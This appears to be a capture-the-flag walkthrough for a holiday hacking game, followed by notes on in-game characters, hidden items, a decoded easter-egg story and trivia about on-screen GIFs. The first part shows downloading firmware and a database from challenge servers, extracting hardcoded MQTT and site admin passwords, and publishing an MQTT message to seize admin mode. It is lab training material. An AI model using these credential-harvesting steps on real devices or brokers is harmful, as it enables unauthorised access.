Great job on taking your first step - you're on the silver path and doing really well! I want to remind you to stay curious and look for small, often overlooked details hidden in the source code - they could be your key to success. While you've gained access, there's still more to uncover, but whether you choose the silver or gold path, you're making excellent progress! Remember to examine headers and login changes carefully, and keep an eye on those northpolefeeds. The operation's code is unlocked but one final challenge remains - think about what kind of innovative vehicle Santa might use in a futuristic world!
Mosquito Mosquitto Hints: Mosquitto is a great client for interacting with MQTT, but their spelling may be suspect. Prefer a GUI? Try MQTTX
Misplaced Credentials Hints: See if any credentials you find allow you to subscribe to any MQTT feeds.
Filesystem Analysis Hints: jefferson is great for analyzing JFFS2 file systems.
Database Pilfering Hints: Consider checking any database files for credentials...
If we continue listening to the sitestatus feed, we see the link to the application firmware, which we download immediately and unpack with jefferson as it seems to be a JFFS2 filesystem:
wget http://34.42.100.11:8000/static/sv-application-2024-SuperTopSecret-9265193/applicationDefault.bin
file applicationDefault.bin
applicationDefault.bin: Linux jffs2 filesystem data little endian
jefferson -d extracted_files/ applicationDefault.bin
dumping fs to /home/user/tmp/santa_vision/extracted_files (endianness: <)
Jffs2_raw_inode count: 47
Jffs2_raw_dirent count: 47
writing S_ISREG .bashrc
writing S_ISREG .profile
...
There we find some interesting credentials (by using grep and keywords like password, secret, etc.) that we could also use:
cat app/src/core/views.py
...mqttPublish.single("$CONTROL/dynamic-security/v1","{\"commands\":[{\"command\": \"removeRoleACL\",\"rolename\": \""+PlyrRole+"\",\"acltype\": \"subscribeLiteral\",\"topic\": \""+PlyrTopic+"\"}]}",hostname="localhost",port=1883,auth={'username':"SantaBrokerAdmin", 'password':"8r0k3R4d1mp455wD"})
...
cat app/src/accounts/views.py
...
@accounts_bp.route("/sv2024DB-Santa/SantasTopSecretDB-2024-Z.sqlite", methods=["GET"])
def db():
return send_from_directory("static", "sv2024DB-Santa/SantasTopSecretDB-2024-Z.sqlite", as_attachment=True)
...
Let's download this additional artefact (a SQLite database) and inspect the tables first, then the contents.
wget http://34.42.100.11:8000/static/sv2024DB-Santa/SantasTopSecretDB-2024-Z.sqlite
sqlite3 SantasTopSecretDB-2024-Z.sqlite
.tables
alembic_version users
select * from users;
1|santaSiteAdmin|S4n+4sr3411yC00Lp455wd|2024-01-23 06:05:29.466071|1
With these credentials, we can also log in to the application: santaSiteAdmin|S4n+4sr3411yC00Lp455wd
After logging in, we look at the page source code again. After a closer look, we notice that we are now receiving additional headers from the server.
(At least the password will be different each time the instance is restarted.)
We can use these as credentials to connect: santashelper2024:playerSantaHelperPass9901254924
A little ingenuity is required here again. If we look at the answer from the silver medal (Idemcerybu
), it could perhaps be an anagram. However, we do not come up with a single definite solution.
After a second look, the letters could also have been shifted. So let's use an online tool for the Caesar Cipher and we find that a shift of 10 (a->k) provides the solution: Snowmobile
We perform the same action as for the silver medal, only this time with the new credentials. And we see what Santa is travelling with: hovercraft
mosquitto_pub -h 34.42.141.152 -p 1883 -u "santashelper2024" -P "playerSantaHelperPass9901254924" -t "santafeed" -m
"singleAdminMode=true"
I'm thrilled - you've successfully cleared out the propaganda and restored our seasonal spirit with a solid silver performance! The airwaves are now back to broadcasting unity and teamwork, and whether you chose the silver or gold path, you've done amazingly well!
This is not a challenge, character or item.
Grace: Who knew all-inclusive meant just us and a campire? Amirite?
Olivia: GRUNT! Oh silly me. I don't need to pretend anymore, do I?
Lucas: (Spanish mode) Hi... welcome to Frosty's Beach! Nice to meet you!
Evelyn: Ugh, so happy we can all be ourselves again!
Barry: You want me to say what exactly? Do I really look like someone who says MOOO?
James: CLUCK CLU... I think I might be losing my mind. All the elves are gone and I'm still hearing voices.
If you go all the way down to the left in the front yard, you can reach the dock. If we follow this path, we will come back to Frosty's Beach after our departure. There we will find all the geese, enjoying themselves there. We also still know which islands they belong to based on the colours.
This is not a challenge, character or item.
Hi, I'm Jason! Where did everyone go? Guys? Helloooooooooo?!
It seems as if this one package was left behind. What bad luck.
This is not a challenge, character or item.
9906753 was the identifying number used on the crate that held the Ark of the Covenant in the cavernous warehouse of Hangar 51 from 1936.
A snow-covered book lies forgotten on the ground, its pages slightly ajar as if inviting the curious to unlock the secret hidden within its well-worn spine.
This is a hidden item that you have to find.
The cross marks the place where the item is hidden.
If you read the book you will follow the link. Read the book...
A mountain of one thousand little tiny shredded pieces of paper—each scrap whispering a secret, waiting for the right hardware hacker to piece the puzzle back together!
This is an item that you only get after completing a challenge.
If you solve the Objective Frosty Keypad from Morcel Nougat you receive that item. You can find the shredded pieces of paper here.
There is an easter egg hidden in the shredded pieces.
There are strange entries if we look at the User Comment fields:
exiftool fee303dd-7a89-452c-a51b-16c4fdb01884.jpg | grep "User Comment"
User Comment : WyI9VURPIiwgIiBmciJd
echo "WyI9VURPIiwgIiBmciJd" | base64 -d
["=UDO", " fr"]
If we extract those metadata fields from every image we get a collection:
...
["xAzN", "mal"]
["3MjN", "sid"]
["5ATN", "min"]
["wQDO", "the"]
...
The first column is a reversed base64 encoded field again. So if we reverse and decode these fields we get numbers from 1 to 1000. If we sort them the text fragments in the second column result in a readable story.
Number Text
1 Lon
2 g a
3 go
4 in
5 th
6 e s
7 now
8 y r
9 eal
10 m o
11 f t
12 he
13 Nor
14 th
15 Pol
Long ago in the snowy realm of the North Pole (not too faraway if you're a reindeer) there existed a magical land ruled by a mysterious figure known as the Great Claus. Two spirited elves Twinkle and Jangle roamed this frosty kingdom defending it from the perils of holiday cheerlessness. Twinkle sporting a bright red helmet-shaped hat that tilted just so as quick-witted and even quicker with a snowball. Jangle a bit taller wore a green scarf that drooped like a sleepy reindeer's ears.Together they were the Mistletoe Knights the protectors of the magical land and the keepers of Claus' peace.One festive morning the Great Claus summoned them for a critical quest. 'Twinkle angle the time has come he announced wit a voice that rumbled like thunder across the ice plains. 'The fabled Never-Melting Snowflake a relic that grants one wish lies hidden beyond the Peppermint Expanse. Retrieve it and all marshmallow supplies will be secured!' Armed with Jangle's handmade map (created with crayon and a lot of optimism) the duo set off aboard their toboggan the Frostwing. However the map led them in endless loops around the Reindeer Academy much to the amusement of trainee reindeer perfecting their aerial maneuvers. Blitzen eventually intercepted them chuckling 'Lost fellas? The snowflake isn't there.Try the Enchanted Peppermint Grove!' Twinkle facepalmed as Jangle pretended to adjust his map. With Blitzen's directions they zoomed off again this time on the right course. The Peppermint Grove was alive with its usual enchantments-candy cane trees swayed and sang ancient ballads of epic sleigh battles and the triumphs of Claus' candy cane squadrons. Twinkle and Jangle joined the peppermint choir their voices harmonizing with the festive tune. Hours later the duo stumbled upon a hidden cave guarded by giant gumdrop sentinels (luckily on their lunch break). Inside the air shimmered with Claus' magic. There it was the Never-Melting Snowflake listening on a pedestal of ice. Twinkle's eyes widened 'We've found it Jangle! The key to infinite marshmallows!' As Twinkle reached for the snowflake a voice boomed from the cave walls 'One wish you have.Choose wisely or face the egg-nog of regret.' Without hesitation Jangle exclaimed 'An endless supply of marshmallows for our cocoa!' The snowflake glowed and with a burst of magic marshmallows poured down covering the cave in a fluffy sweet avalanche.Back at the workshop the elves were hailed as heroes-the Marshmallow Knights of Claus. They spent the rest of the season crafting new cocoa recipes and sharing their bounty with all. And sounder the twinkling stars of the northern skies Twinkle and Jangle continued their adventures their mugs full of cocoa their hearts full of joy and their days full of magic. For in the North Pole every quest was a chance for festive fun and every snowflake was a promise of more marshmallows to come.
A trusty Flashlight, twinkling with holiday cheer, perfect for illuminating hidden... prints... and rogue reindeer tracks !
This is a hidden item that you have to find.
The cross marks the place where the item is hidden.
Some screens that display something.
This is not a challenge, but you can get some interesting information here.
In the source code, we can see which GIFs are used as displays. Let's see if we can find out more about them:
Screen 1: https://www.youtube.com/watch?v=8f0XTO38J04
RAW: Louisville mailman caught on home surveillance video making a snow angel in woman's yard
Fun fact: This story centers on a heartwarming moment when a mailman in Louisville, Kentucky, was caught on a homeowner's security camera making a snow angel in her yard. Amid a heavy snowfall, the mailman, identified only from his uniform, took a brief pause during his route to lie down in the fresh snow, waving his arms and legs to create the familiar snow angel shape. After completing his impromptu creation, he quickly stood up, dusted off, and continued on his route.
The video quickly gained attention, with viewers praising the mailman for spreading cheer, especially during the cold and often stressful winter season. His playful gesture resonated with many who appreciated seeing a moment of joy and humanity in an otherwise routine day.
Screen 2: Just static
Screen 3: Just a TV standby screen
Screen 4: https://pixabay.com/de/gifs/erde-nacht-erde-gehe-zu-1918/
GIFs: Erde nacht, Erde, Gehe zu. Kostenlose Nutzung. (earth at night)
Screen 5: Shows someone walking around in the Front Yard
Screen 6: https://tenor.com/de/view/goblin-sighting-cctv-cctv-goblin-dobby-zach-hadel-gif-17136452
Goblin Sighting Cctv GIF
Fun fact: The "Goblin Sighting CCTV GIF" refers to a viral piece of footage that surfaced online, supposedly showing a strange, small creature caught on a home CCTV camera. In the grainy, nighttime video clip, a small, humanoid figure resembling a "goblin" or other mythical creature appears to walk or dance across a driveway before disappearing from view. The creature has thin limbs, a large head, and an unusual, almost surreal way of moving, which led many to speculate about its origins.
The GIF quickly spread across social media, sparking debates about whether it was a legitimate sighting, a prank, or the result of digital editing. Some viewers believed it might be a person in costume or a puppet manipulated off-screen, while others suggested it could be an alien or supernatural being. The mystery and odd appearance of the creature have kept viewers intrigued, though no conclusive explanation has been provided, leaving it as an eerie internet mystery that fuels curiosity and imagination.
Screen 7: https://www.youtube.com/watch?v=6lr0r9WR5Ok
Frosty - der Schneemann (frosty the snowman)
Fun fact: Frosty the Snowman is a beloved holiday character who originated in a popular Christmas song written by Walter "Jack" Rollins and Steve Nelson in 1950. The song tells the story of a magical snowman named Frosty, brought to life by a magical hat worn by a group of children. Frosty is a jolly, happy soul with a corncob pipe, a button nose, and two eyes made out of coal. Once brought to life, Frosty charms the children, leading them on a playful adventure through the town.
Screen 8: https://donate.wikimedia.org/wiki/File:Mickey-steamboat-willie.jpg
Mickey Mouse Steamboat Willie 1928
Fun fact: Steamboat Willie, released on November 18, 1928, is one of the most iconic animated shorts in history and marked the official debut of Mickey Mouse. Created by Walt Disney and Ub Iwerks, it was also the first Disney cartoon to feature synchronized sound, which was groundbreaking at the time. The short film shows Mickey Mouse as a mischievous deckhand on a riverboat, captained by the ill-tempered Pete. Alongside Mickey is Minnie Mouse, making her first appearance as well.
Steamboat Willie is now recognized as a significant milestone in animation history, symbolizing the birth of modern animated storytelling and becoming an enduring cultural icon. Mickey Mouse’s whistle scene, in which he steers the steamboat, remains one of the most famous moments in animation, emblematic of the Disney legacy.
Screen 9: https://commons.wikimedia.org/wiki/File:Snowflake1.png
Just a Snowflake
Screen 10: https://knowyourmeme.com/memes/brent-rambo
Brent Rambo Meme
Fun fact: The Brent Rambo meme originates from a 1990s Apple Computer promotional video aimed at schools, where a young boy named Brent Rambo is shown smiling and giving a thumbs-up after watching a computer screen. This thumbs-up moment was originally meant to convey approval of Apple’s technology and educational software.
Years later, this brief clip was rediscovered, edited, and shared online, often as a GIF. Brent Rambo’s approving thumbs-up soon became an ironic reaction meme, used to humorously signal approval or satisfaction in unexpected or absurd contexts. The contrast between the wholesome 90s imagery and the often edgy or humorous content it was paired with contributed to the meme's popularity.
Screen 11: Possible solution for Elf Minder 9000 - Level 2 Waves and Crates
Screen 12: Show how not to connect the UART interace in Hardware Hacking 101 Part 1